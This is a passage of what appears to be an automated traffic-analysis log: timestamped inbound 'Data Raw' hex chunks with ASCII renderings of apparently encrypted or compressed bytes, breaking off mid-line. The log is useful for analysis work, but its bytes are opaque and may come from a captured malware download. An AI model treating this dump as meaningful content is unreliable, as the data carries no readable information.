2021-09-29 19:26:41 UTC	173	IN	Data Raw: ec aa 07 38 6c a9 74 58 32 51 74 c4 b3 d6 4d c0 ba cb 9f 10 88 45 fd 81 e4 bf 03 4e c4 60 06 23 5a 8b c6 19 a5 0a 2f 79 2b 3a e5 40 81 2e 4b 41 9b c5 71 e1 41 84 15 cd c9 a6 91 e8 54 82 45 e6 83 74 d6 c1 33 9f 32 0f 52 ab 79 74 ab 2f 7c 1d 00 bd 05 fd 4b 1f c7 60 01 a9 e1 8b da 2e 2c bc 25 40 18 57 11 d7 77 b1 fe 7d 9a 3a 42 35 f2 37 94 78 fe 39 d7 cf 18 a8 64 16 2d f3 fe d5 a3 e9 46 67 0a ab 20 75 66 20 0d 79 05 35 28 c4 0e bc f3 47 5e 85 b3 4e 64 a7 7f a5 7c 64 8d d3 a2 be 1a b8 a4 f5 4c b0 a0 9d f6 b1 0c bd 9f 37 f2 13 af 03 9c 56 6a 05 1a 69 b2 2a b0 57 9a 89 1d 19 2b 30 e1 a7 6d 4b 55 70 6f b4 81 9f be f1 72 90 8c f2 ae 95 aa b7 2b 5f 42 e1 eb 78 9f 57 cd ea 11 1d 58 c4 2b 72 15 2a bd 42 78 09 a9 3b 3f c9 db 57 dc 3b 9d 1d 0f b4 04 a9 c3 38 e0 45 a4 Data Ascii: 8ltX2QtMEN`#Z/y+:@.KAqATEt32Ryt/\|K`.,%@Ww}:B57x9d-Fg uf y5(G^Nd\|dL7VjiW+0mKUpor+_BxWX+rBx;?W;8E
2021-09-29 19:26:41 UTC	175	IN	Data Raw: 5e 15 69 7f 9f df fe 52 38 7f 56 ad 28 47 35 9b 90 5a d7 d0 4b 8f 73 b8 b7 12 35 76 a7 fd aa 0a e7 4a 7b 5a c3 40 b9 01 a3 ab 53 7b 7c 9d 03 44 90 6a aa 28 64 91 40 dd 20 38 7e 8e 3f a7 80 12 bc 4f e5 15 0e 20 d6 62 3e 76 8b 19 d1 25 94 83 97 dc 96 7c d0 75 96 21 0a db c1 c1 88 b1 a8 e0 d1 70 e4 40 6c 90 7e 15 87 20 9f 6c 1c e9 88 6d 23 92 61 5b 4f f7 95 16 72 fb 2e da 46 e1 b9 67 5e 21 ef 12 a8 46 26 46 2a 49 04 37 a7 7b 37 a2 a4 29 a5 24 09 21 d7 3a 93 02 c2 72 73 d0 b3 46 10 c0 37 bf c1 24 45 5e 4f e0 a0 36 d5 68 58 07 eb e2 95 ec 7d 24 02 19 8d c3 be bb 64 16 af 17 fc 6c 42 60 b4 07 9c ca e9 aa 47 2c c2 0b cd 83 29 e2 5e 52 43 ab 95 c0 cf 0d eb 05 64 1c 47 80 ca 06 7e 1a d3 8e 21 13 b3 8f e1 10 ec 87 5f 2e 4e de 77 88 9c e1 43 11 b5 4f 93 37 7e 8b 0c Data Ascii: ^iR8V(G5ZKs5vJ{Z@S{\|Dj(d@ 8~?O b>v%\|u!p@l~ lm#a[Or.Fg^!F&F*I7{7)$!:rsF7$E^O6hX}$dlB`G,)^RCdG~!_.NwCO7~
2021-09-29 19:26:41 UTC	176	IN	Data Raw: c1 0d e0 fb c6 53 4d 89 d8 68 49 55 70 6e 22 c1 a5 a1 2e 0a ed 38 3b aa 97 aa b7 2d d1 bb 75 d3 a3 e7 2a a5 5f 15 1f 58 c4 6d e6 54 58 f0 98 00 74 35 aa 3b cb db 57 da b5 64 b1 2c 6f 7c d4 7f b5 e4 47 a4 c2 c7 42 69 73 26 f7 b8 3e 77 bc 0f 17 88 0f 8f d0 a1 40 7a c6 68 48 e5 ac 1f 5e 55 a1 3f 34 e9 41 c4 42 22 f3 35 f7 f1 eb 6d cb 19 5f c3 d5 ef 8a 0f 51 dd d3 ad 44 3b 49 db 10 2d 15 dc ce 64 a8 76 0b 9b 9b 7d 09 b6 e7 dc 6e 11 cf 28 11 60 58 bb 7f ff 17 b2 94 a5 e1 78 e4 94 55 82 ed 9f 8c 82 33 e3 8d d9 e8 e5 19 e2 20 92 d8 ff c9 16 8e 98 2d 19 6d 84 9e 2d 54 62 c2 cf 4c bd a3 f0 8f 8c ad cf e4 e5 df 5a 75 06 c9 4d c1 3a 55 b1 5a c5 f5 ce d5 fa 86 23 63 11 fe c3 f9 f9 e1 08 ff db 76 ad bf e1 02 4b 84 35 d4 0f 2b 86 60 ca f2 9b 3a c1 70 6d b9 0b 93 0f 82 Data Ascii: SMhIUpn".8;-u*_XmTXt5;Wd,o\|GBis&>w@zhH^U?4AB"5m_QD;I-dv}n(`XxU3 -m-TbLZuM:UZ#cvK5+`:pm
2021-09-29 19:26:41 UTC	177	IN	Data Raw: 9b bb cf d0 6a ba b0 53 62 b4 07 0a 5c 20 5c 86 f5 bd 76 92 3e 38 e0 5e 52 d5 3d af b3 10 d4 94 78 1c 82 56 82 ca 06 e8 8c 20 4e e5 ca cc f2 71 6f fd 85 5f 2e d8 48 e9 0c 43 38 3c 6c 1c 17 82 35 7e 8b 9a 5c 28 62 d2 bf 8c 98 21 66 0b 2d 07 54 dd 05 f4 97 5e ac 44 91 13 50 7f df 18 b9 19 26 1f f4 1e e6 95 97 55 6b 8d 3a 38 2d 71 79 1c 45 a5 06 40 25 91 0f 00 0d a5 56 ed 3c 07 b3 4b 72 e1 24 7b 3f 1c c6 27 4e 4c 56 ba dd 8c cb 1d 39 85 c9 8f bd d3 d7 c5 f6 06 48 7e 50 53 65 34 a0 44 7b 8f a0 e4 d6 81 6e 4f 9a 0e b9 c0 74 2a 86 39 50 c8 30 91 5b 7e 59 4d 9c 32 83 bd c3 df 3f 33 99 52 c1 7d af 3e 53 b1 cb 6b bf 3d 5c 4a 89 c7 eb 30 72 74 f7 3e 1e 44 be 05 e5 19 c1 11 75 73 6a 6b 01 63 28 2a 37 8e 9f 95 ee fe 8c e6 14 8d d4 60 69 45 f1 fa 7c a2 7f 46 ab 0e 70 Data Ascii: jSb\ \v>8^R=xV Nqo_.HC8<l5~\(b!f-T^DP&Uk:8-qyE@%V<Kr${?'NLV9H~PSe4D{nOt9P0[~YM2?3R}>Sk=\J0rt>Dusjkc(7`iE\|Fp
2021-09-29 19:26:41 UTC	178	IN	Data Raw: bb f6 4e 14 99 fb 34 3b 9c e3 c4 67 d3 36 2c 15 73 44 cd 46 8b b6 de 35 da 7b 9d b5 ce 2b 7e 26 e2 21 b4 de 49 00 bf 72 bb c7 5e 4f cb c2 dc bf ab dc 9f 5c 32 e0 49 21 48 6a 83 05 00 e2 6d 30 a7 26 7f 19 bb d4 4e a8 bf 14 44 17 1c 94 98 62 c9 07 c8 dd 22 a8 9c 2e 29 0b 9e 5e f3 e0 23 52 36 bc ad d4 14 0f 00 05 cc e4 9d 82 b7 06 ed 02 22 8c fa 11 58 8f 47 cd 36 85 22 2e fe c6 eb 9d 47 e3 a8 11 e6 b7 49 35 03 8b dd d2 2a 8c f2 64 18 e5 77 86 c0 2d 7a 54 b5 8b f6 2c 5a 77 d0 ec 38 b3 b4 df 65 b9 90 a8 1d d5 3f 3d 01 ea 25 48 47 3a 45 2d db f7 1e a0 a1 dd d4 58 c4 20 ca 0d d8 56 26 b2 05 38 6a a9 75 59 0d 44 d6 c6 5a 4e a0 d8 b8 cb 89 10 89 44 fa a1 45 bd ae d7 c8 79 04 23 5b 8b c7 18 94 1f 8e 7b f2 a0 ca 59 83 2e 4a 41 9a c4 77 c1 e0 86 44 50 98 bf 93 e8 55 Data Ascii: N4;g6,sDF5{+~&!Ir^O\2I!Hjm0&NDb".)^#R6"XG6".GI5*dw-zT,Zw8e?=%HG:E-X V&8juYDZNDEy#[{Y.JAwDPU
2021-09-29 19:26:41 UTC	179	IN	Data Raw: 51 0d ba dd 5b ab 9d 39 34 db c9 0e 13 da 15 66 43 76 6b 88 42 7f 74 b6 00 ff dd 20 14 2a fa 60 e4 bd a6 fd 6a b2 91 86 cd 7e 3f 96 be 82 0a 8f 55 80 4e e3 ae fa c1 d7 c2 e0 cb 92 46 fa 10 14 f3 98 6c 3a 37 82 45 2f bf 62 ea de 95 bf de f0 e0 af 3b fb 3f e7 34 5a 8c 03 10 4f bc 3a d8 95 1e c4 2e cc 3e fa 79 32 ba 13 83 c3 52 dd 7b 0e 24 d9 9d ad c3 e4 db 49 f9 35 1d 2b b0 87 bb c8 19 9b 0d de a9 6f c4 0b 84 2b 8c 9f b4 53 10 bd 73 28 f5 06 d3 69 00 79 3d 45 a4 cb ca 76 e1 20 97 3a 2e 3c fc 4b 74 fa 6c 87 a6 8d ec 60 26 18 59 12 64 e3 f8 06 be 53 09 c6 c6 a3 48 23 2e 20 e5 0c 5c 15 6a 77 89 fc 3e 56 9e 7d 1e 57 03 62 37 9b 96 42 b8 f4 c4 a8 d5 ba 9e e8 78 53 a5 fd bc 0a e6 4b 84 72 65 42 c8 fa cf 8e 51 7b ed 9d 96 44 fc 67 0c 2a 7e 6a cf f8 22 38 e8 8e 3e Data Ascii: Q[94fCvkBt `j~?UNFl:7E/b;?4ZO:.>y2R{$I5+o+Ss(iy=Ev :.<Ktl`&YdSH#. \jw>V}Wb7BxSKreBQ{Dg~j"8>
2021-09-29 19:26:41 UTC	180	IN	Data Raw: ce 91 6e 16 d4 a7 2b ed 26 28 3a 6a a9 e3 cf 7b 75 0f 1f 25 33 4c 6e 95 c9 89 10 1f d2 85 68 99 64 d1 aa c5 af 29 21 5b 8b 51 8e 34 52 57 a2 8d dd e4 b0 ae 2c 4a 41 0c 52 c0 3e 32 5f 3b 2d c8 b7 a1 ea 55 82 4f 77 32 fb ae 1a dd 42 33 3d 62 a9 78 74 3c b8 b1 c5 69 66 3f 21 4a 4b f7 62 00 a9 76 1c 3e df 54 67 07 98 19 21 21 d5 76 b1 69 ea 63 5a 2c ee 8c e2 95 ef ce 3b d6 cf 8f 3f 60 ce 55 28 f8 01 a2 50 76 65 0b ab 2a e4 43 af 62 a2 3f e2 29 1e 3e be f2 47 9a 12 87 40 1d 7c 79 74 7d 9f bd d1 a3 be 8d 2f eb 7f 20 6b 3e 4e f7 ac 3d bf 9e 37 b2 82 1e 7a e5 8d a4 d7 1b 56 83 28 b1 57 0d 1e de f4 47 eb 8b 6a 6c 2b 64 72 6e b4 c1 0e a4 73 0b 4b 3a ad ae 17 9b b5 2d 47 bb 53 f8 6b f2 8c a7 25 10 be 69 c6 6d 70 54 a9 f5 f3 01 d2 37 f4 3e 0d ea 55 da 23 64 af 1c 27 Data Ascii: n+&(:j{u%3Lnhd)![Q4RW,JAR>2_;-UOw2B3=bxt<if?!JKbv>Tg!!vicZ,;?`U(Pve*Cb?)>G@\|yt}/ k>N=7zV(WGjl+drnsK:-GSk%impT7>U#d'
2021-09-29 19:26:41 UTC	182	IN	Data Raw: ac 95 fa 51 5d ed 99 65 17 6a 77 1f 6a 41 81 74 a4 61 2a 29 95 0e 99 96 42 2e 62 1c b2 08 63 e1 95 34 85 9c ff bc 0a 70 dd 2d a3 8c 9b b7 87 a2 be 6f 79 ed 9d 00 d2 f3 31 d1 f3 01 17 41 eb 1c 3a e8 8e a8 30 5b b0 f5 94 9b 93 0f 78 ea 60 a8 76 81 88 0a 75 e8 58 04 5a 97 06 ec 77 00 21 ce 4c 1a 67 f3 6a 0c 66 d0 eb d8 42 fa 90 3e 84 5c 87 e3 b7 a2 6f 89 d0 1f 90 f7 5b b9 60 4e 0c 08 20 ff 5c 47 3e 85 65 c8 21 2e 83 73 93 5a 9d c1 cf 05 36 9a 79 a1 a2 cc bd 7e 68 73 fa 2a bc 92 21 ff 70 e5 d0 5c d9 cb c6 48 64 d5 a5 44 1b 72 e2 36 36 4a fc 83 ca 91 39 ba 6d 7c 43 3f 1b 1b c3 4c 3e bf 94 d0 cc b8 ed 43 e9 89 05 0a ca 20 3e 9c d3 b6 d0 90 02 28 49 63 50 d5 ab af 42 14 a2 94 de 1e 9d 46 4d f7 04 e8 1a 20 1a fa 11 da 54 73 91 ed 68 62 2c d8 de e9 0b 47 34 3c ca Data Ascii: Q]ejwjAta)B.bc4p-oy1A:0[x`vuXZw!LgjfB>\o[`N \G>e!.sZ6y~hs!p\HdDr66J9m\|C?L>C >(IcPBFM Tshb,G4<
2021-09-29 19:26:41 UTC	183	IN	Data Raw: 7d a8 66 69 5b 6d b3 57 0d 88 48 1d 73 35 52 15 11 4b 5e 38 6c b4 c1 98 32 f5 a8 b7 e3 d2 d3 95 86 ff 2f 47 bb c5 6e 78 a9 52 7e 5a 6d 1d 15 8c 6f 70 54 3f 63 43 52 24 ee 8b 43 c9 b4 1f d8 23 64 39 8a b4 08 ac a4 88 9c 45 35 8a c5 d4 69 ec b5 2c 2d 73 ac e4 77 15 3a 47 8d 46 a1 f2 dc 1d c4 30 3e d8 67 5c 86 e9 3d a2 e9 88 57 99 e1 be ee 64 89 e9 98 83 1b c9 c3 09 49 51 d5 29 06 7c d5 46 2d 00 d9 86 2d 11 4c 15 8d e5 ad c0 e3 99 45 40 b4 71 dc df b6 14 39 6a bb bf c3 7d a5 5e b0 02 a5 cf e8 3f 40 19 59 ee e4 8e fe 7a e1 1b d9 c3 41 c2 dd 5b 49 c7 84 cb 88 c7 9a bb 19 35 14 45 f7 1b b9 f8 b4 4e 02 ea f2 19 8c 39 6d 3f 9d a4 81 23 7d cb ac 88 38 c3 b1 1c 52 2e 6f 9c 21 eb 58 61 12 b4 c1 6f f9 79 98 24 8c 0a 76 36 9a 00 6e ce 37 42 0f b2 11 bb 6f 89 40 9e ba Data Ascii: }fi[mWHs5RK^8l2/GnxR~ZmopT?cCR$C#d9E5i,-sw:GF0>g\=WdIQ)\|F--LE@q9j}^?@YzA[I5EN9m?#}8R.o!Xaoy$v6n7Bo@
2021-09-29 19:26:41 UTC	184	IN	Data Raw: 01 24 17 4d 19 c3 4c a8 29 14 ad 0d 61 92 3e 60 83 53 08 ca 20 a8 0a 2e fd 0f 49 7d 55 e2 07 06 d7 ab af d4 82 0f cd 1e c7 e2 3b 80 b0 52 ea 1a 20 8c 6c 11 b8 8b aa ee 90 87 c3 7a da de e9 9d d1 e3 86 31 c7 b1 ef 37 c3 df 98 ca 28 8c 64 64 2e e1 fa a1 66 2f d9 00 df 93 f4 2c cc 77 46 cd c8 b4 12 dd 18 ec 1b b0 1f d5 a9 3d 5d ee 8e 61 e1 38 1a 78 73 ef 1c a0 37 dd 72 79 4a 27 6c 0f e6 03 ef aa 07 38 fc a9 17 5d a0 76 70 c4 4f 1b 4e c0 ba cb 1f 10 52 60 5e a6 e3 bf 5a 82 c7 60 06 23 cd 8b 74 1d ef 2d 28 79 24 f5 e6 40 81 2e dc 41 e7 e3 1b c6 46 84 f5 05 ca a6 91 e8 c3 82 00 e4 e9 53 d1 c1 32 6a 31 0f 52 ab ee 74 6f 03 6a 3a 07 bd 32 0a 48 1f c7 60 96 a9 0f 8f e5 09 2b bc 34 b3 1b 57 11 d7 e0 b1 f3 4c b8 1d 45 35 dd c9 97 78 fe 39 40 cf 3e ac bb 32 2a f3 8e Data Ascii: $ML)a>`S .I}U;R lz17(dd.f/,wF=]a8xs7ryJ'l8]vpONR`^Z`#t-(y$@.AFS2j1Rtoj:2H`+4WLE5x9@>2*
2021-09-29 19:26:41 UTC	185	IN	Data Raw: 8e b8 b9 19 35 82 44 0f 28 62 fa c9 4f 9d a1 f0 19 8c 29 eb 3d e7 a2 5a 22 20 c9 4d c1 3a c3 91 18 c4 2e cc aa fa ea 25 61 11 ff e3 6b f9 79 0e 26 f9 0f ad 34 e7 10 5b 87 35 42 0f a2 97 b8 c8 8f 9b 8c d7 76 6d b9 0b 15 1f 8d 9f b4 53 96 ad 51 2c 2e 04 be 79 a7 5d 3f 45 a4 eb 5d 76 2d 3a 4c 18 51 3c 38 6f 76 da 6b 87 30 8d a5 64 fc 1a 24 12 82 e7 f8 06 be 53 9f e6 5a bc 93 21 53 00 ef 29 5e 15 6a 57 1d fc 41 52 45 5f 60 57 29 47 37 9b 92 42 2e f4 1e 88 0a b8 e3 e8 24 66 a2 fd bc 0a 60 5b 2c 76 be 40 b5 fa a3 ab 97 61 fd 8d 03 44 f3 46 d7 08 02 6a 41 dd 20 18 ea 8e a8 a6 5b 30 c2 4f 99 ee 0f 00 d0 62 a8 76 81 1e 0b 27 2b 8e 06 27 95 7c 20 79 00 21 cf da 25 d0 f5 b1 0f 1b ef 63 e4 40 fb 90 01 01 5c 22 e3 6c 9f 01 89 6d 22 92 c8 48 b9 f6 4f 14 30 e8 fd 21 46 Data Ascii: 5D(bO)=Z" M:.%aky&4[5BvmSQ,.y]?E]v-:LQ<8ovk0d$SZ!S)^jWARE_`W)G7B.$f`[,v@aDFjA [0Obv'+'\| y!%c@\"lm"HO0!F
2021-09-29 19:26:41 UTC	187	IN	Data Raw: 5f 9d a0 54 8b 4d 2d 1e 52 a8 d8 dd de 17 06 56 8a 7a 26 12 21 b5 11 78 93 2e 49 4e 3e c5 89 2f b3 72 8b 3c 7e 65 a2 01 dc 1b c8 06 f5 72 20 68 df 68 38 3c 74 8c 1c 9c 54 fa 58 d7 8e 9a 9b 64 f9 57 c8 d0 31 a6 20 46 05 06 e3 2b bb 43 de 70 54 3c 56 29 66 03 ee f6 0e 98 fb ae 0d 1a ee 79 4c 7f 08 89 8a a1 92 84 d5 ef 82 34 0f 0f 41 f3 d0 0e 3e b3 bd b6 7d 1c 36 d4 f0 a2 3b 1a b0 a6 81 b5 3e 0f 71 fa ac 55 99 89 1b 66 fc 51 01 6c 45 f1 25 a0 84 0a d1 2d 13 aa 3c aa 35 06 8f bf 6c f8 fa ce 99 a1 f1 11 43 48 d7 6d 59 54 3e ee 5a 07 b0 37 03 1b d6 de fe d8 0d 72 14 1d 1d 7c ff 52 a7 e0 e4 a6 3b e3 f1 6c 75 21 d5 9e 66 72 77 08 ec ac 82 8c c7 a3 45 79 36 6f 6c e7 87 0e 6c 50 28 3d 5b cd be c4 08 22 a5 2f 58 f1 90 6f de 12 8c c6 b8 dd a8 29 09 d8 07 aa 4a 20 07 Data Ascii: _TM-RVz&!x.IN>/r<~er hh8<tTXdW1 F+CpT<V)fyL4A>}6;>qUfQlE%-<5lCHmYT>Z7r\|R;lu!frwEy6ollP(=["/Xo)J
2021-09-29 19:26:41 UTC	188	IN	Data Raw: a7 e3 87 ac e7 68 af ca fe 99 3c 0f ec dd 4b a9 09 8f e9 01 a6 ed 7a 22 98 97 fd d4 4d 16 98 cd f3 1b ac d2 5e 04 22 d2 cd d5 c6 f2 21 3f eb 78 9d e2 2d a1 4c ad 55 2f 03 f3 d8 94 b0 42 7d 0c 04 d6 7e 4b 10 bb 3a d2 4e 22 fc 71 f0 76 cf c6 13 01 c9 88 0e ad 0b cc a8 53 5b 78 88 2c fe 98 33 cf 2e e5 29 78 cb cc 9e 4a 22 ff c0 4e e7 4b 8c 26 50 47 d3 87 18 a5 8d b5 d9 78 0d 19 9a 16 0a 48 af 92 9c df de be f4 53 73 b4 c6 09 9a 29 0f 91 ef bc 41 81 d8 25 5b 5a 3d c5 77 a2 6d 10 73 b1 a3 18 31 42 79 ee b9 e8 c3 24 75 de ae ce 66 75 15 c9 94 5f 5f da 30 ce 24 44 6a 3a 50 09 70 96 de 7c bf 99 43 2d 7d f6 3f a5 b5 2f 5a 1f ce 23 26 da 7a f0 12 40 b4 42 45 13 1a 44 8b 16 10 19 1c 34 88 31 3c 92 13 71 70 9c 31 3d d4 55 fc 1c f1 a5 c3 67 e1 9b 74 15 5e 84 45 ed 9b Data Ascii: h<Kz"M^"!?x-LU/B}~K:N"qvS[x,3.)xJ"NK&PGxHSs)A%[Z=wms1By$ufu__0$Dj:Pp\|C-}?/Z#&z@BED41<qp1=Ugt^E
2021-09-29 19:26:41 UTC	189	IN	Data Raw: dd 3f e5 90 49 b5 5e 8b 18 61 1b c2 e6 d5 20 c7 39 28 73 45 cc e8 17 16 a9 0e 17 60 54 ee 6b 1c f2 13 18 c6 e3 5c e3 87 ef a0 48 8e 38 bd 33 8e 5c 66 0f db 35 d6 e8 c9 66 06 82 4c c9 2c 24 5a bb 46 8a 48 7c 88 65 10 1e 15 f9 e7 6e c8 5a 99 5f 01 29 7a 50 df 67 0e b5 67 d1 bc 64 64 e5 13 63 04 40 c9 e0 22 7f 2e 7b c8 26 8e 5b 35 ff 08 71 de 0e c4 aa 48 51 c1 30 cb ef aa 8b bb d0 35 f7 65 bd 37 93 fc 7c 42 02 a3 61 18 cd 2c 57 3a 16 a4 61 0a bf cb bc c7 20 f2 4c 1d 35 28 02 87 07 e8 d4 67 d9 ec 3e 6e 30 79 d6 0a c3 0f 64 34 6e 2d 58 84 fc 42 b4 9d 1f a5 94 8f a5 86 fa 74 94 b8 64 15 4d 8d 66 b6 12 93 f5 53 70 2e 7f 80 44 a2 01 3f 3c b7 d3 56 df 2d 25 58 cb 4d 95 38 16 65 b3 64 96 31 a5 bf 28 fb 0b 25 85 a1 8b fc 17 bf 4d b3 60 5c bd 94 d8 77 98 f2 28 59 ec Data Ascii: ?I^a 9(sE`Tk\H83\f5fL,$ZFH\|enZ_)zPggddc@".{&[5qHQ05e7\|Ba,W:a L5(g>n0yd4n-XBtdMfSp.D?<V-%XM8ed1(%M`\w(Y
2021-09-29 19:26:41 UTC	191	IN	Data Raw: be c7 81 11 68 b2 05 36 a1 8a ee cb bf 8d 72 63 fa e4 b6 a2 67 28 66 54 dd a1 9a 00 63 7f bf c8 9e b5 2e d5 e1 9d 0a b0 56 dd c6 19 28 ea 5b 63 91 38 38 2d 7f ef 0d a0 a1 dd 50 58 84 25 2a 0d ad 56 f4 aa 3c 3a 64 a9 ce 59 7b 74 05 c4 62 4e 92 c9 b4 cb c0 10 5a 4e 87 a4 d3 bf 89 dd cd 60 57 23 ca 81 59 18 61 2f 80 73 87 a0 bd 40 5b 24 58 41 85 c4 fb c6 35 84 b4 50 c8 a6 9f e8 c0 82 82 f1 3b 51 08 c1 e4 3d 3a 0f fa ab 38 76 35 2e 1d 38 3f bf 38 5c aa 1f 96 62 05 a9 92 8a 6d 09 5e bc 09 e4 22 55 19 d7 66 b0 2d 7c 6b 1f 2c 34 50 96 9b 78 e6 38 db c1 81 a9 7c 31 57 f3 f2 7c 9a e8 43 68 03 ab 16 73 78 04 7f 79 7d 9e 23 cb 06 bc b6 46 95 8b 8f 68 56 a6 6f 06 75 64 c1 d2 ba b1 84 b9 9b d2 72 b0 35 33 83 b0 72 b2 97 37 ca 15 9d 29 ef 56 da ab 93 66 ba 2a 24 56 36 Data Ascii: h6rcg(fTc.V([c88-PX%V<:dY{tbNZN`W#Ya/s@[$XA5P;Q=:8v5.8?8\bm^"Uf-\|k,4Px8\|1W\|Chsxy}#FhVoudr53r7)Vf$V6
2021-09-29 19:26:41 UTC	192	IN	Data Raw: 96 9b 48 cf 69 6d 6e 03 1a 0f 59 97 95 53 7b b5 7d 2c 18 0c 9f 69 95 55 0c 45 92 c3 6b 76 d0 32 75 38 ae 34 03 6f 8b f2 51 87 cd 85 98 64 00 12 69 12 b4 cf b5 06 88 5b ce c6 6f b4 c0 21 65 28 99 29 89 1d 1c 77 c8 f4 c3 52 40 71 95 55 d4 4f 2f 98 6b 4a 2f f4 a4 a6 0e b8 b7 e8 34 76 a7 fd c5 0b 78 4b 2d 76 c4 41 3c fa 3b ab f7 7b 42 9d 19 45 db 47 e6 29 40 6b 0d dc 48 39 0b 8f fd a4 2b 12 40 4d 0b ec ab 22 91 61 c0 75 24 1d e9 24 06 80 3b 23 ce 78 55 71 99 25 18 de 63 c6 60 b4 bf 1e 66 75 5b 45 f1 96 23 14 db 24 5d 6b e1 1a dc 65 43 9a 68 53 46 fe 68 1d 39 f2 c2 28 0b e8 ed 6e a4 28 af 1c 90 4d 07 4c 55 b8 da 3d 52 71 5c a8 f9 20 38 2d c1 2a f2 ca b0 0e ec 7e db dc 0d 43 ae ce 60 b2 97 d5 15 53 13 ed a0 3b f4 67 4e 08 66 ef a8 1e 58 2a 70 17 61 cd c8 a6 6a Data Ascii: HimnYS{},iUEkv2u84oQdi[o!e()wR@qUO/kJ/4vxK-vA<;{BEG)@kH9+@M"au$$;#xUq%c`fu[E#$]keChSFh9(n(MLU=Rq\ 8-~C`S;gNfXpaj
2021-09-29 19:26:41 UTC	193	IN	Data Raw: 0a 56 dc fa 7d a2 d2 47 48 0b a9 2a 4e 42 37 77 78 3d a2 28 f5 0e be f2 79 9b b7 87 69 1e 98 7a 3a 7d 66 8d 93 a2 8b 8d b8 eb 92 37 85 3c 31 f7 f3 0d 8a 9e 36 b2 57 1f 11 e6 54 a6 ee 1a 50 b2 2b b1 12 0c b1 de 1f 51 79 88 2c 6c 4a 55 3a 6f 8f c1 9a a4 be 09 ad 38 d1 ae d9 ab 8a 2d 45 bb 88 f9 47 e5 56 a5 16 11 22 58 c6 6d 3f 55 7e f5 42 02 59 34 c8 3e cb db 05 db 60 64 38 1c e7 7f ea 7f 88 e1 11 a5 87 c7 d5 69 b9 22 69 ba 41 77 b0 0b 52 88 0e 8f 11 a0 b5 4a 1f 6a 6d e4 93 1a 5d 55 f8 3e eb e9 8a c1 c3 21 c5 35 67 f4 b2 6c 80 19 cb c3 55 de 1c 0d 2d dd 23 a9 0b 3b 4b db d8 2c 5e da 14 66 8a 77 8d 9e 9b 7d 69 b7 20 dc de 20 75 2b 3d 60 bf be 1f fe 44 b2 03 a5 ac 7f 6c 96 2a 82 88 98 db 82 32 e3 7e d8 96 d7 c0 e0 3b 93 92 f9 ca 16 e9 99 ec 19 37 82 2d 2e 70 Data Ascii: V}GHNB7wx=(yiz:}f7<16WTP+Qy,lJU:o8-EGV"Xm?U~BY4>`d8i"iAwRJjm]U>!5glU-#;K,^fw}i u+=`Dl2~;7-.p
2021-09-29 19:26:41 UTC	194	IN	Data Raw: ad f6 39 84 39 51 4b a6 4b ce 5d 82 4f e0 b7 51 ee f0 d7 3f 70 0e d5 ab a7 73 3e 2e f2 39 f3 bd 94 73 49 1f 84 61 8b a9 40 bb 3d 0b 56 bd b6 e5 df 5d 17 d7 35 b0 dc 7c e0 1e 39 35 8e 9e 54 78 5b 14 d1 cf 8f a8 a3 30 c2 de fd 7c a2 e8 83 67 df a1 2d 72 43 07 b0 79 2b b4 2e c4 0e bd 3b 47 ea ac 80 68 1e a6 b0 09 2d 7e 8a d3 a3 bf 40 b9 bb c9 31 b0 7f 32 38 b1 36 9f 9a 37 f1 15 cf 26 fb 74 a2 aa 58 68 61 2a a0 63 09 88 9d 1c 84 30 aa 23 68 4b 16 71 b9 b4 6a aa a0 f5 4b 91 e1 d0 15 a7 ae b7 6e 46 60 c5 3c 56 e1 57 e6 59 cd 1d ee ea 69 70 12 3e f8 42 2d 2d 36 89 78 c8 d4 56 b8 38 67 39 5a b5 6f a8 60 81 e2 45 a2 c1 ec d5 13 dd 2a 2c bc 40 5a e7 81 24 81 0f 89 45 8e f3 2c 2c 63 35 a3 db 95 5d 4e b4 3e a2 ad 89 e8 9a ba bf 33 66 b4 e8 46 c8 78 fb c5 09 9b 50 20 Data Ascii: 99QKK]OQ?ps>.9sIa@=V]5\|95Tx[0\|g-rCy+.;Gh-~@12867&tXhac0#hKqjKnF`<VWYip>B--6xV8g9Zo`E,@Z$E,,c5]N>3fFxP
2021-09-29 19:26:41 UTC	195	IN	Data Raw: d7 6e 41 6a 06 9f 20 70 aa 8e c9 e4 5b 72 83 4f fa ac 0f 44 94 62 cd 34 81 78 48 27 8e c1 06 4f d5 7c 98 38 41 62 ce 98 59 c3 b6 f2 0e 5f 93 70 a1 03 fa d6 7d 12 1b 61 e2 24 e3 12 e8 2e 23 f0 b4 5b da b5 4e 70 4c fb 98 62 47 87 fa 67 af 62 2e 7d 30 44 19 02 c3 f1 41 37 e3 3f a1 e7 88 2b 38 62 74 66 6c c1 da 46 c2 15 80 a4 03 2d a2 ac 2e d6 b9 bf 07 31 21 86 5f 51 3f 18 e2 71 ff 8d d6 45 35 60 02 6a 7e b7 13 ca d6 7a b6 7e d4 f7 00 0f da 61 63 ad 55 da fd 5a d6 64 fc 2a 61 a6 5e 35 b0 df f0 92 7b 7d fb 64 68 a9 02 80 ab 42 e8 78 64 8c 99 55 ce eb 35 ec 88 c3 5f 48 9c de 8e d9 47 8b 7a 11 5e f6 92 70 1b ff d2 83 66 df a6 25 c0 a6 64 a3 5f 6a 07 11 98 93 b2 69 5a 30 03 ec 5b f3 6f bc 5d b9 7b f5 1f b6 7a 3d f3 af 55 06 d9 38 5e 68 71 88 59 a0 c9 98 42 1a d7 Data Ascii: nAj p[rODb4xH'O\|8AbY_p}a$.#[NpLbGgb.}0DA7?+8btflF-.1!_Q?qE5`j~z~acUZd*a^5{}dhBxdU5_HGz^pf%d_jiZ0[o]{z=U8^hqYB
2021-09-29 19:26:41 UTC	196	IN	Data Raw: ef 5f c9 bc 36 da 4b 05 39 7b d1 0a f6 3b eb 95 24 a4 b1 a2 a0 36 a8 42 58 db 43 27 94 65 61 ed 6c fb 23 c5 b6 2b 69 0b 35 a2 bf 6e 13 37 cb 5a c1 9d cc a0 ed 41 8e 65 14 9b 83 08 a8 6d 8d a2 7d be 51 5d 5e b2 0e cd 34 4f 30 9f e7 59 70 da 57 04 d5 35 a0 9e dd 1f 09 f3 13 dc 99 42 14 6d 0e 60 f5 dc 7d 9e 75 b2 60 c7 cf 1d 5d 96 4c e0 ec fc ec 82 55 81 1b be a1 d7 aa 82 5d ff b6 9a a4 64 e2 f1 d9 19 77 e1 45 6c 4a 62 be aa 4e f8 c0 f0 5f ef 39 bc 5c e7 ea 39 21 61 a8 4d a3 59 c3 d2 7f c4 4a af a8 9f 8a 25 07 72 fe a4 0c f9 11 6d 24 8a 72 de 40 82 6d 65 c7 5a 2e 63 d7 e4 cf a1 e0 f5 ef e9 35 08 d7 6e 77 66 ed 9f f9 3a e5 cf 3d 5f 41 62 da 47 f5 34 4c 30 c5 